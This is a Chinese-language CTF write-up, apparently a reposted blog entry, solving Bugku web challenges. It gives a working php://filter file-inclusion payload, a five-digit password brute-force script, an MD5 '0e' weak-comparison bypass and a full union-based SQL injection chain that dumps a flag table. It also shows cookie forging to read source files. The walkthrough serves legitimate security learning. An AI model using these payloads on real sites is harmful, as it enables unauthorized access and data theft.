bugku web 17~24 write up

bugku web 17~24 write up

flag在index里

打开页面有一个链接,点击链接发现url栏出现file,关键字想到文件包含漏洞。
关于文件包含漏洞的学习可以参考链接:https://zhuanlan.zhihu.com/p/25069779

直接修改file参数:http://120.24.86.145:8005/post/index.php?file=index.php
发现没有得到我们想要的信息,思路中断,上网搜。

了解了一下php://filter伪协议:
https://www.cnblogs.com/likai/archive/2010/01/29/1659336.html
以及php://filter的一些应用:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

补充相关知识后,明白php://filter可以进行文件读取:
payload:
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到一串base64码,解码整理如下:

<html>
    <title>Bugku-ctf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{???????}//打码
?>
</html>

得到flag
但是我并不知道为什么,直接写入index.php拿不到源码,查看代码也没有发现有任何限制,希望之后能够解惑。


输入密码查看flag

页面提示密码只有五位数,爆破,简单粗暴。
1.burp爆破:
关于burp的使用可参考链接:
https://blog.csdn.net/snert/article/details/49749757

2.脚本爆破:

import string
import requests

payload = '1234567890'

url='url'
s = requests.session()
r = s.get(url)

for a in payload:
    for b in payload:
        for c in payload:
            for d in payload:
                for e in payload:
                    data={'pwd':a+b+c+d+e}
                    r = s.post(url,data=data)
                    if "密码不正确,请重新输入" not in r.content:
                        print (r.content)
                        exit()
 //引用

备份是个好习惯

打开网页发现一串字符,仔细观察发现是两串一样的MD5值,解密是空。发现没有什么用,思路中断,上网。
发现这道题是一道源码泄露题,题目提示了备份文件。
某些编辑器在编辑时会生成一些备份文件,如果不写正确处理这些文件,黑客可以利用这些文件还原源码,详情参考链接:
https://github.com/solei1/solei1.github.io/wiki/web%E6%BA%90%E7%A0%81%E6%B3%84%E9%9C%B2-%E5%8F%8A%E5%B8%B8%E8%A7%81%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8
网站的备份文件常见的是.bak文件,直接访问index.php.bak,成功下载源码,如下:

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
//过滤了key,需要重写绕过
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
//这里要用到PHP弱类型,和MD5的特性
    echo $flag."取得flag";
}
?>

在PHP中,md5(‘240610708’) ==md5(‘QNKCDZO’)所有类似的字符串得到的md5如果是0e打头的,一些语言(PHP)会做隐式转换,当做int类型计算,得到的结果是 0,最后导致0==0,判定为true

payload:
http://120.24.86.145:8002/web16/?kekeyy1=240610708&kkeyey2=QNKCDZO
得到flag


成绩单

打开链接是一个post表单,尝试注入:
id=1'#,单引号返回失败,加注释返回正常
逻辑判断:
id=1' and 1=1#1=1返回正常,1=2返回失败,存在注入
判断字段数:
id=1' order by 4# 4列
判断回显位:
id=0' union select 1,2,3,4#2,3,4存在回显
查询表:
id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#表 fl4g,sc
查fl4g的字段:
id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'#(有些情况可以用十六进制绕过)字段名skctf_flag
列出数据:
id=0' union select 1,2,3,skctf_flag from fl4g#得到flag


秋名山老司机

打开网页:要求2s内计算出表达式的值,并通过post方式提价value参数(坑,页面没有给出参数,要刷新很多次才有提示),很明显使用脚本。

import requests as rq
from bs4 import BeautifulSoup as bf
import re
url =r'http://120.24.86.145:8002/qiumingshan/'
s = rq.session() #注意要打开session,否则服务器会认为两次请求来自不同的电脑,会刷新表达式
source = s.get(url) #获取url资源
source = source.content.decode('utf-8') #获取页面内容
#print(source)
soup = bf(source,'lxml')
text = soup.div.string #获取第一个div标签里的内容
#print(text)
text = re.search('[^\?\=\;]+',text) #过滤 = ;?
text = str(text.group())
#print(text)
x = eval(text) #计算表达式
#print(x)
data = {'value':x}
s = s.post(url,data = data) #post提交
print(s.content.decode('utf-8')) #得到flag
#print(s.status_code)

脚本有时候不能得到flag,需要多运行几次,具体原因我不知道,看了其他人的wp,猜测是因为数字长度的问题,多运行几次就行了。


速度要快

抓包,发现flag字段,和注释提示要post传入margin参数。
直接post提交,提示你要快一点,考虑用脚本,如下:

import requests as rq
import base64  as bs
import re
url =r'http://120.24.86.145:8002/web6/'
s = rq.session()
source = s.get(url)
text = source.headers
data = bs.b64decode(text['flag'])
data = str(data, encoding = "utf-8") 
#print(data)
data = re.search('(.*)(: )(.*)',data)
data = data.group(3)
#print(data)
data = {'margin':data}
s = s.post(url,data = data)
print(s.content.decode('utf-8'))
#print(s.status_code)

感觉没有问题,但就是跑不出flag,对比其他人的脚本并没有明显不同,求解惑。


cookies欺骗

打开网页,显示一堆看不懂的东西。
发现有get参数:line&filename=a2V5cy50eHQ=
base64解码为:keys.txt
改为index.php编码提交,观察通过line参数按行返回(脚本):

import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8")
    print(content)
#源自他人

结果如下:

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

构造cookie margin=margin 然后读keys.php即可

猜你喜欢

转载自blog.csdn.net/w0ryitang/article/details/80147275